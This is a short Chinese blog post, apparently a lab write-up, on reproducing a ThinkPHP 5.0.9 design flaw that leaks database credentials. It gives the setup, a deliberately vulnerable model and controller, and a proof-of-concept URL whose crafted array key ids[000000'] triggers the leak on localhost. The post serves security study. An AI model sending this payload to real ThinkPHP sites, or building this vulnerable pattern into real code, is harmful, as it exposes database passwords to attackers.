原文见:Thinkphp5.X设计缺陷导致泄漏数据库账户密码
本文只对复现漏洞所遇到的问题做个记录,方便想要复现漏洞的朋友们。对漏洞的分析,作者已经在原文中详细阐述了,在此不再赘述。
实验环境:
- Apache+php5.5+php.ini开启PDO
- 程序包下载:http://www.jb51.net/codes/10793.html
实验过程
- 修改文件:ThinkPHP_5.0.9applicationdatabase.php
![1.png 1.png](https://i-blog.csdnimg.cn/blog_migrate/483928721ed2a3893089af06725557b2.png)
填写好数据库信息:用户名、密码、端口、数据库名、数据库前缀
- 新建数据库:结构如下图
创建文件:ThinkPHP_5.0.9applicationmodelGather.php
namespace appmodel;
use thinkModel;
use thinkDb;class Gather extends Model {
public function getEModel($tables){ $rs=Db::query('show columns FROM `'.config('database.prefix').$tables."`"); $obj=[]; if($rs){ foreach($rs as $key => $v){ $obj[$v['Field']] = $v['Default']; if($v['Key']=='PRI')$obj[$v['Field']]=0; } } return $obj; }
}
修改文件:ThinkPHP_5.0.9applicationindexcontrollerIndex.php
namespace appindexcontroller;
use appmodelGather;
use thinkDb;class Index
{public function test() { $ids=input("ids/a"); $gather=new Gather(); $gather->update([ 'gather_waf'=>'thinkphp', ],['Id'=>['in',$ids]]); }
}
- 访问链接:http://127.0.0.1/ThinkPHP_5.0.9/public/index/index/test?ids[000000']=666'
![4.png 4.png](https://i-blog.csdnimg.cn/blog_migrate/94903fcaa1e2909b74fefbd198ae5986.png)